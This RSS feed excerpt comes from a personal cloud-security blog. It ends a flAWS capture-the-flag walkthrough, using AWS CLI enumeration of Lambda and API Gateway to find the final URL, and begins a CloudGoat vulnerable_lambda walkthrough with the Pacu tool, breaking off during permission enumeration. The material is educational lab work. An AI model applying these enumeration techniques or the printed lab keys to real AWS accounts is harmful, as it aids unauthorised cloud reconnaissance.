            &quot;s3:ListAllMyBuckets&quot;,
            &quot;sagemaker:Describe*&quot;,
            &quot;sagemaker:List*&quot;,
            &quot;sdb:DomainMetadata&quot;,
            &quot;sdb:ListDomains&quot;,
            &quot;securityhub:Get*&quot;,
            &quot;securityhub:List*&quot;,
            &quot;serverlessrepo:GetApplicationPolicy&quot;,
            &quot;serverlessrepo:List*&quot;,
            &quot;sqs:GetQueueAttributes&quot;,
            &quot;sqs:ListQueues&quot;,
            &quot;ssm:Describe*&quot;,
            &quot;ssm:ListDocuments&quot;,
            &quot;storagegateway:List*&quot;,
            &quot;tag:GetResources&quot;,
            &quot;tag:GetTagKeys&quot;,
            &quot;transfer:Describe*&quot;,
            &quot;transfer:List*&quot;,
            &quot;translate:List*&quot;,
            &quot;trustedadvisor:Describe*&quot;,
            &quot;waf:ListWebACLs&quot;,
            &quot;waf-regional:ListWebACLs&quot;,
            &quot;workspaces:Describe*&quot;
          ],
          &quot;Resource&quot;: &quot;*&quot;,
          &quot;Effect&quot;: &quot;Allow&quot;
        }
      ]
    },
    &quot;VersionId&quot;: &quot;v1&quot;,
    &quot;IsDefaultVersion&quot;: true,
    &quot;CreateDate&quot;: &quot;2019-03-03T16:42:45+00:00&quot;
  }
}

</code></pre>
<p>That policy does not allow us to list API gateways.<br>
That is not good.<br>
What is good though is, that we know that behind an API gateway there&apos;s got to be something, we just need to figure out what it is.<br>
Most of the time it is a lambda, because the Zoomers like serverless, I guess.<br>
Luckily, this policy allows us to use some operations on lambda:</p>
<pre><code class="language-bash">&quot;lambda:GetAccountSettings&quot;,
&quot;lambda:GetPolicy&quot;,
&quot;lambda:List*&quot;,
</code></pre>
<p>Let&apos;s have a look:</p>
<pre><code class="language-bash">$ aws lambda list-functions --profile lvl6

{
  &quot;Functions&quot;: [
    {
      &quot;FunctionName&quot;: &quot;Level6&quot;,
      &quot;FunctionArn&quot;: &quot;arn:aws:lambda:us-west-2:975426262029:function:Level6&quot;,
      &quot;Runtime&quot;: &quot;python2.7&quot;,
      &quot;Role&quot;: &quot;arn:aws:iam::975426262029:role/service-role/Level6&quot;,
      &quot;Handler&quot;: &quot;lambda_function.lambda_handler&quot;,
      &quot;CodeSize&quot;: 282,
      &quot;Description&quot;: &quot;A starter AWS Lambda function.&quot;,
      &quot;Timeout&quot;: 3,
      &quot;MemorySize&quot;: 128,
      &quot;LastModified&quot;: &quot;2017-02-27T00:24:36.054+0000&quot;,
      &quot;CodeSha256&quot;: &quot;2iEjBytFbH91PXEMO5R/B9DqOgZ7OG/lqoBNZh5JyFw=&quot;,
      &quot;Version&quot;: &quot;$LATEST&quot;,
      &quot;TracingConfig&quot;: {
        &quot;Mode&quot;: &quot;PassThrough&quot;
      },
      &quot;RevisionId&quot;: &quot;d45cc6d9-f172-4634-8d19-39a20951d979&quot;,
      &quot;PackageType&quot;: &quot;Zip&quot;,
      &quot;Architectures&quot;: [
        &quot;x86_64&quot;
      ],
      &quot;EphemeralStorage&quot;: {
        &quot;Size&quot;: 512
      },
      &quot;SnapStart&quot;: {
        &quot;ApplyOn&quot;: &quot;None&quot;,
        &quot;OptimizationStatus&quot;: &quot;Off&quot;
      }
    }
  ]
}
</code></pre>
<p>We do have a lambda function, that looks like something we might want to dig into more deeply. Since we can also get the policy of any lambda, we can grab that info as well:</p>
<pre><code class="language-bash">$ aws lambda get-policy --function-name Level6 --profile lvl6

{
  &quot;Policy&quot;: &quot;{\&quot;Version\&quot;:\&quot;2012-10-17\&quot;,\&quot;Id\&quot;:\&quot;default\&quot;,\&quot;Statement\&quot;:[{\&quot;Sid\&quot;:\&quot;904610a93f593b76ad66ed6ed82c0a8b\&quot;,\&quot;Effect\&quot;:\&quot;Allow\&quot;,\&quot;Principal\&quot;:{\&quot;Service\&quot;:\&quot;apigateway.amazonaws.com\&quot;},\&quot;Action\&quot;:\&quot;lambda:InvokeFunction\&quot;,\&quot;Resource\&quot;:\&quot;arn:aws:lambda:us-west-2:975426262029:function:Level6\&quot;,\&quot;Condition\&quot;:{\&quot;ArnLike\&quot;:{\&quot;AWS:SourceArn\&quot;:\&quot;arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6\&quot;}}}]}&quot;,
  &quot;RevisionId&quot;: &quot;d45cc6d9-f172-4634-8d19-39a20951d979&quot;
}
</code></pre>
<p>A little bit ugly to read, but as we can see, we&apos;ve got info about an API gateway: <code>arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6\</code></p>
<p>So far so, good.<br>
We are still missing one key ingredient here, the stage variable to make a call.<br>
Since we are allowed to make get requests, let&apos;s give it a try:</p>
<pre><code class="language-bash">$ aws apigateway get-stages --rest-api-id s33ppypa75 --profile lvl6
{
  &quot;item&quot;: [
    {
      &quot;deploymentId&quot;: &quot;8gppiv&quot;,
      &quot;stageName&quot;: &quot;Prod&quot;,
      &quot;cacheClusterEnabled&quot;: false,
      &quot;cacheClusterStatus&quot;: &quot;NOT_AVAILABLE&quot;,
      &quot;methodSettings&quot;: {},
      &quot;tracingEnabled&quot;: false,
      &quot;createdDate&quot;: &quot;2017-02-27T01:26:08+01:00&quot;,
      &quot;lastUpdatedDate&quot;: &quot;2017-02-27T01:26:08+01:00&quot;
    }
  ]
}
</code></pre>
<p>Lucky us. Now it is time to give it a <code>curl</code>:</p>
<pre><code class="language-bash">curl https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6              
&quot;Go to http://theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud/d730aa2b/&quot;% 

</code></pre>
<!--kg-card-end: markdown--><p>You&#x2019;ve heard the computer overlords, go to The End!</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/02/image-30.png" class="kg-image" alt loading="lazy" width="2000" height="1264" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/02/image-30.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/02/image-30.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2024/02/image-30.png 1600w, https://eduard.schwarzkopf.center/content/images/2024/02/image-30.png 2320w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><h2 id="conclusion">Conclusion</h2>
<p>Throughout the series of challenges in flAWS, we learned about some of the common security pitfalls that users face when utilizing Amazon Web Services (AWS).<br>
These vulnerabilities range from incorrect bucket permissions settings, exposing AWS access keys, misconfigurations of cloud instances, to opening permissions to <code>Everyone</code> or <code>Any Authenticated AWS User</code>.</p>
<p>flAWS is not only a gripping cloud-centric cybersecurity game but also an excellent educational tool, using hands-on exercises to showcase how AWS-specific vulnerabilities can be exploited.<br>
The challenges unravel real-world scenarios, driving home the importance of maintaining strict security policies, implementing the principle of least privilege, and ensuring regular audits of security access and policies.</p>
<p>As much as flAWS is a measure of one&#x2019;s AWS-specific security knowledge, it also serves as a stark reminder to businesses and developers of the criticality of cloud security.<br>
With cloud technologies like AWS being integral components of today&#x2019;s digital infrastructure, understanding their potential vulnerabilities is crucial in preventing data breaches and cyber-attacks.</p>
<p>Following the practices recommended in AWS documentation, avoiding wildcard policies, keeping AWS SDKs updated, and regularly testing applications for security weaknesses are some ways to safeguard against these common vulnerabilities.</p>
<p>Successful completion of the levels in the flAWS game is an indication of a user&#x2019;s proficiency in diagnosing and mitigating common cloud risks.<br>
At the same time, the game underlines the fact that ensuring cloud security is an ongoing process, requiring constant vigilance, regular updates and audits, and in-depth knowledge of the cloud services in use.</p>
<p>Remember, the security of your data in the cloud is a shared responsibility - while AWS secures the underlying infrastructure, it&apos;s up to us to safeguard the data in the cloud.</p>
<p>Stay safe in the cloudy clouds.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[CloudGoat – vulnerable_lambda with Pacu]]></title><description><![CDATA[<p>As I aim to sharpen my cloud security expertise, I embrace the concept of practical, hands-on experience. <a href="https://rhinosecuritylabs.com/?ref=eduard.schwarzkopf.center" rel="noreferrer noopener">Rhino Security Labs</a> provides the indispensable tools for this journey.</p><p><a href="https://github.com/RhinoSecurityLabs/cloudgoat?ref=eduard.schwarzkopf.center" rel="noreferrer noopener">CloudGoat</a> will deploy intentionally vulnerable cloud environments. Yes, intentionally vulnerable! So when you use it yourself, make sure to use a dedicated AWS</p>]]></description><link>https://eduard.schwarzkopf.center/cloudgoat-vulnerable_lambda-with-pacu/</link><guid isPermaLink="false">65abcd0c031e2c00015f302e</guid><category><![CDATA[AWS]]></category><category><![CDATA[Security]]></category><category><![CDATA[CloudGoat]]></category><category><![CDATA[Pacu]]></category><dc:creator><![CDATA[Eduard Schwarzkopf]]></dc:creator><pubDate>Thu, 08 Feb 2024 11:12:00 GMT</pubDate><content:encoded><![CDATA[<p>As I aim to sharpen my cloud security expertise, I embrace the concept of practical, hands-on experience. <a href="https://rhinosecuritylabs.com/?ref=eduard.schwarzkopf.center" rel="noreferrer noopener">Rhino Security Labs</a> provides the indispensable tools for this journey.</p><p><a href="https://github.com/RhinoSecurityLabs/cloudgoat?ref=eduard.schwarzkopf.center" rel="noreferrer noopener">CloudGoat</a> will deploy intentionally vulnerable cloud environments. Yes, intentionally vulnerable! So when you use it yourself, make sure to use a dedicated AWS account! <a href="https://github.com/RhinoSecurityLabs/pacu?ref=eduard.schwarzkopf.center" rel="noreferrer noopener">Pacu</a> will be my partner in crime here. Pacu is a powerhouse for pentest AWS environments. I&#x2019;m going to use it to capture the flag, but this does not end there! Oh no no no! We want to learn about both sides. I will not only exploit weaknesses but also see how I can fix them.</p><pre><code class="language-bash">$ ./cloudgoat.py create vulnerable_lambda 
... 
 
Apply complete! Resources: 8 added, 0 changed, 0 destroyed. 
 
Outputs: 
 
cloudgoat_output_aws_account_id = &quot;&lt;account_id&gt;&quot; 
cloudgoat_output_bilbo_access_key_id = &quot;AKIAZQ3DQJ3M34LJ5K7U&quot; 
cloudgoat_output_bilbo_secret_key = &lt;sensitive&gt; 
profile = &quot;cloud-goat&quot; 
scenario_cg_id = &quot;vulnerable_lambda_cgidsr4kzoh3iq&quot; 
 
[cloudgoat] terraform apply completed with no error code. 
 
[cloudgoat] terraform output completed with no error code. 
cloudgoat_output_aws_account_id = &lt;account_id&gt; 
cloudgoat_output_bilbo_access_key_id = AKIAZQ3DQJ3M34LJ5K7U 
cloudgoat_output_bilbo_secret_key = 78MEA/5OLO4QvSGz61eg******************** 
profile = cloudgoat 
scenario_cg_id = vulnerable_lambda_cgidsr4kzoh3iq </code></pre><p>Upon successful deployment, it is time to hack ourselves!</p><figure class="kg-card kg-image-card"><img src="https://evoila.com/wp-content/uploads/2024/02/image-5.png" class="kg-image" alt="Can we break it? Yes we can!" loading="lazy" width="560" height="746"></figure><h2 id="engaging-with-pacu">Engaging with Pacu</h2><p>Firing up Pacu, we create a new session aptly named after our target environment, &#x201C;vulnerable_lambda&#x201D;.</p><pre><code class="language-bash">$ pacu 
 
&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2880;&#x2840;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800; 
&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2880;&#x28E4;&#x28F6;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28F6;&#x28C4;&#x2840;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800; 
&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2880;&#x28FE;&#x28FF;&#x287F;&#x281B;&#x2809;&#x2801;&#x2800;&#x2800;&#x2808;&#x2819;&#x283B;&#x28FF;&#x28FF;&#x28E6;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800; 
&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x281B;&#x281B;&#x280B;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2808;&#x283B;&#x28FF;&#x28F7;&#x28C0;&#x28C0;&#x28C0;&#x28C0;&#x2840;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800; 
&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2880;&#x28C0;&#x28C0;&#x28C0;&#x28C0;&#x28C0;&#x28C0;&#x28C0;&#x28C0;&#x28C0;&#x28E4;&#x28E4;&#x28E4;&#x28E4;&#x28E4;&#x28E4;&#x28E4;&#x28E4;&#x28C0;&#x28C0;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x28BB;&#x28FF;&#x28FF;&#x28FF;&#x287F;&#x28FF;&#x28FF;&#x28F7;&#x28E6;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800; 
&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2880;&#x28C0;&#x28C0;&#x28C0;&#x28C8;&#x28C9;&#x28D9;&#x28DB;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x285F;&#x281B;&#x283F;&#x28BF;&#x28FF;&#x28F7;&#x28E6;&#x28C4;&#x2800;&#x2800;&#x2808;&#x281B;&#x280B;&#x2800;&#x2800;&#x2800;&#x2808;&#x283B;&#x28FF;&#x28F7;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800; 
&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2880;&#x28C0;&#x28C0;&#x28C8;&#x28C9;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28E7;&#x28C0;&#x28C0;&#x28C0;&#x28E4;&#x28FF;&#x28FF;&#x28FF;&#x28F7;&#x28E6;&#x2840;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x28FF;&#x28FF;&#x28C6;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800; 
&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2880;&#x28C0;&#x28EC;&#x28ED;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x283F;&#x281B;&#x289B;&#x28C9;&#x28C9;&#x28E1;&#x28C4;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x283B;&#x28BF;&#x28FF;&#x28FF;&#x28F6;&#x28C4;&#x2800;&#x2800; 
&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x28A0;&#x28FE;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x281F;&#x280B;&#x28C1;&#x28E4;&#x28F6;&#x287F;&#x28FF;&#x28FF;&#x2809;&#x283B;&#x280F;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2819;&#x28BB;&#x28FF;&#x28E7;&#x2840; 
&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x28A0;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x281F;&#x280B;&#x28E0;&#x28F6;&#x28FF;&#x285F;&#x283B;&#x28FF;&#x2803;&#x2808;&#x280B;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x28B9;&#x28FF;&#x28E7; 
&#x2880;&#x28C0;&#x28E4;&#x28F4;&#x28F6;&#x28F6;&#x28F6;&#x28FE;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x281F;&#x2801;&#x28A0;&#x28FE;&#x28FF;&#x2809;&#x283B;&#x2807;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x28B8;&#x28FF;&#x28FF; 
&#x2809;&#x281B;&#x283F;&#x28BF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x287F;&#x2801;&#x2800;&#x2800;&#x2800;&#x2800;&#x2809;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x28F8;&#x28FF;&#x285F; 
&#x2800;&#x2800;&#x2800;&#x2800;&#x2809;&#x28FB;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x2840;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x28E0;&#x28FE;&#x28FF;&#x285F;&#x2801; 
&#x2800;&#x2800;&#x2800;&#x2880;&#x28FE;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28E6;&#x28C4;&#x2840;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x28F4;&#x28C6;&#x2880;&#x28F4;&#x28C6;&#x2800;&#x28FC;&#x28C6;&#x2800;&#x2800;&#x28F6;&#x28F6;&#x28F6;&#x28F6;&#x28F6;&#x28F6;&#x28F6;&#x28F6;&#x28FE;&#x28FF;&#x28FF;&#x283F;&#x280B;&#x2800;&#x2800; 
&#x2800;&#x2800;&#x2800;&#x28FC;&#x28FF;&#x28FF;&#x28FF;&#x283F;&#x281B;&#x281B;&#x281B;&#x281B;&#x281B;&#x281B;&#x281B;&#x281B;&#x281B;&#x281B;&#x281B;&#x281B;&#x281B;&#x281B;&#x2813;&#x2812;&#x2812;&#x281A;&#x281B;&#x281B;&#x281B;&#x281B;&#x281B;&#x281B;&#x281B;&#x281B;&#x2800;&#x2800;&#x2809;&#x2809;&#x2809;&#x2809;&#x2809;&#x2809;&#x2809;&#x2809;&#x2809;&#x2809;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800; 
&#x2800;&#x2800;&#x2800;&#x28FF;&#x28FF;&#x281F;&#x2801;&#x2800;&#x28B8;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28F6;&#x2840;&#x2800;&#x28A0;&#x28FE;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28F7;&#x2844;&#x2800;&#x2880;&#x28FE;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28F7;&#x28C6;&#x2800;&#x28B0;&#x28FF;&#x28FF;&#x28FF;&#x2800;&#x2800;&#x2800;&#x28FF;&#x28FF;&#x28FF; 
&#x2800;&#x2800;&#x2800;&#x2818;&#x2801;&#x2800;&#x2800;&#x2800;&#x28B8;&#x28FF;&#x28FF;&#x287F;&#x281B;&#x281B;&#x28BB;&#x28FF;&#x28FF;&#x2847;&#x2800;&#x28B8;&#x28FF;&#x28FF;&#x287F;&#x281B;&#x281B;&#x28BF;&#x28FF;&#x28FF;&#x2847;&#x2800;&#x28B8;&#x28FF;&#x28FF;&#x287F;&#x281B;&#x281B;&#x28BB;&#x28FF;&#x28FF;&#x28FF;&#x2800;&#x28B8;&#x28FF;&#x28FF;&#x28FF;&#x2800;&#x2800;&#x2800;&#x28FF;&#x28FF;&#x28FF; 
&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x28B8;&#x28FF;&#x28FF;&#x2847;&#x2800;&#x2800;&#x28B8;&#x28FF;&#x28FF;&#x2847;&#x2800;&#x28B8;&#x28FF;&#x28FF;&#x2847;&#x2800;&#x2800;&#x28B8;&#x28FF;&#x28FF;&#x2847;&#x2800;&#x28B8;&#x28FF;&#x28FF;&#x2847;&#x2800;&#x2800;&#x2838;&#x283F;&#x283F;&#x281F;&#x2800;&#x28B8;&#x28FF;&#x28FF;&#x28FF;&#x2800;&#x2800;&#x2800;&#x28FF;&#x28FF;&#x28FF; 
&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x28B8;&#x28FF;&#x28FF;&#x2847;&#x2800;&#x2800;&#x28B8;&#x28FF;&#x28FF;&#x2847;&#x2800;&#x28B8;&#x28FF;&#x28FF;&#x2847;&#x2800;&#x2800;&#x28B8;&#x28FF;&#x28FF;&#x2847;&#x2800;&#x28B8;&#x28FF;&#x28FF;&#x2847;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x28B8;&#x28FF;&#x28FF;&#x28FF;&#x2800;&#x2800;&#x2800;&#x28FF;&#x28FF;&#x28FF; 
&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x28B8;&#x28FF;&#x28FF;&#x28E7;&#x28E4;&#x28E4;&#x28FC;&#x28FF;&#x28FF;&#x2847;&#x2800;&#x28B8;&#x28FF;&#x28FF;&#x28E7;&#x28E4;&#x28E4;&#x28FC;&#x28FF;&#x28FF;&#x2847;&#x2800;&#x28B8;&#x28FF;&#x28FF;&#x2847;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x28B8;&#x28FF;&#x28FF;&#x28FF;&#x2800;&#x2800;&#x2800;&#x28FF;&#x28FF;&#x28FF; 
&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x28B8;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x287F;&#x2803;&#x2800;&#x28B8;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x2847;&#x2800;&#x28B8;&#x28FF;&#x28FF;&#x2847;&#x2800;&#x2800;&#x2880;&#x28C0;&#x28C0;&#x28C0;&#x2800;&#x28B8;&#x28FF;&#x28FF;&#x28FF;&#x2800;&#x2800;&#x2800;&#x28FF;&#x28FF;&#x28FF; 
&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x28B8;&#x28FF;&#x28FF;&#x284F;&#x2809;&#x2809;&#x2809;&#x2809;&#x2800;&#x2800;&#x2800;&#x28B8;&#x28FF;&#x28FF;&#x284F;&#x2809;&#x2809;&#x28B9;&#x28FF;&#x28FF;&#x2847;&#x2800;&#x28B8;&#x28FF;&#x28FF;&#x28C7;&#x28C0;&#x28C0;&#x28F8;&#x28FF;&#x28FF;&#x28FF;&#x2800;&#x28B8;&#x28FF;&#x28FF;&#x28FF;&#x28C0;&#x28C0;&#x28C0;&#x28FF;&#x28FF;&#x28FF; 
&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x28B8;&#x28FF;&#x28FF;&#x2847;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x28B8;&#x28FF;&#x28FF;&#x2847;&#x2800;&#x2800;&#x28B8;&#x28FF;&#x28FF;&#x2847;&#x2800;&#x2838;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x287F;&#x2800;&#x2800;&#x28BF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x28FF;&#x285F; 
&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2818;&#x281B;&#x281B;&#x2803;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2800;&#x2818;&#x281B;&#x281B;&#x2803;&#x2800;&#x2800;&#x2818;&#x281B;&#x281B;&#x2803;&#x2800;&#x2800;&#x2809;&#x281B;&#x281B;&#x281B;&#x281B;&#x281B;&#x281B;&#x280B;&#x2800;&#x2800;&#x2800;&#x2800;&#x2819;&#x281B;&#x281B;&#x281B;&#x281B;&#x281B;&#x2809;&#x2800; 
Version: 1.5.1 
 
Found existing sessions: 
  [0] New session 
Choose an option: 0 
What would you like to name this new session? vulnerable_lambda 
Session vulnerable_lambda created. </code></pre><p>Next, set the keys from CloudGoat-generated credentials:</p><pre><code class="language-bash">Pacu (vulnerable_lambda:No Keys Set) &gt; set_keys 
Setting AWS Keys... 
Press enter to keep the value currently stored. 
Enter the letter C to clear the value, rather than set it. 
If you enter an existing key_alias, that key&apos;s fields will be updated instead of added. 
Key alias must be at least 2 characters 
 
Key alias [AKIAZQ3DQJ3M34LJ5K7U]: bilbo 
Access key ID [None]: AKIAZQ3DQJ3M34LJ5K7U 
Secret access key [None]: 78MEA/5OLO4QvSGz61eg******************** 
Session token (Optional - for temp AWS keys only) [None]:  
 
Keys saved to database. 
 
Pacu (vulnerable_lambda:bilbo) &gt;  </code></pre><p>As is tradition, time to see who we are:</p><pre><code class="language-bash">Pacu (vulnerable_lambda:bilbo) &gt; whoami&#xA0;
{&#xA0;
&#xA0; &quot;UserName&quot;: null,&#xA0;
&#xA0; &quot;RoleName&quot;: null,&#xA0;
&#xA0; &quot;Arn&quot;: null,&#xA0;
&#xA0; &quot;AccountId&quot;: null,&#xA0;
&#xA0; &quot;UserId&quot;: null,&#xA0;
&#xA0; &quot;Roles&quot;: null,&#xA0;
&#xA0; &quot;Groups&quot;: null,&#xA0;
&#xA0; &quot;Policies&quot;: null,&#xA0;
&#xA0; &quot;AccessKeyId&quot;: &quot;AKIAZQ3DQJ3M34LJ5K7U&quot;,&#xA0;
&#xA0; &quot;SecretAccessKey&quot;: &quot;78MEA/5OLO4QvSGz61eg********************&quot;,&#xA0;
&#xA0; &quot;SessionToken&quot;: null,&#xA0;
&#xA0; &quot;KeyAlias&quot;: &quot;bilbo&quot;,&#xA0;
&#xA0; &quot;PermissionsConfirmed&quot;: null,&#xA0;
&#xA0; &quot;Permissions&quot;: {&#xA0;
&#xA0;&#xA0;&#xA0; &quot;Allow&quot;: {},&#xA0;
&#xA0;&#xA0;&#xA0; &quot;Deny&quot;: {}&#xA0;
&#xA0; }&#xA0;
}&#xA0;</code></pre><p>Not much to see here. Yet! No worries, we will fill this up with data in no time!</p><h2 id="unravelling-the-intricacies-enumeration">Unravelling the Intricacies: Enumeration</h2><p>Pacu excels in information-gathering. Run the ls command, and see for yourself. But for now, let&#x2019;s get back to business.</p><p>Let&#x2019;s gather some information about bilbo&#x2019;s permissions:</p><pre><code class="language-bash">Pacu (vulnerable_lambda:bilbo) &gt; run iam__enum_permissions&#xA0;
&#xA0; Running module iam__enum_permissions...&#xA0;
[iam__enum_permissions] Confirming permissions for users:&#xA0;
[iam__enum_permissions]&#xA0;&#xA0; cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq...&#xA0;
[iam__enum_permissions]&#xA0;&#xA0;&#xA0;&#xA0; Confirmed Permissions for cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq&#xA0;
[iam__enum_permissions] iam__enum_permissions completed.&#xA0;
&#xA0;
[iam__enum_permissions] MODULE SUMMARY:&#xA0;
&#xA0;
&#xA0; Confirmed permissions for user: cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq.&#xA0;
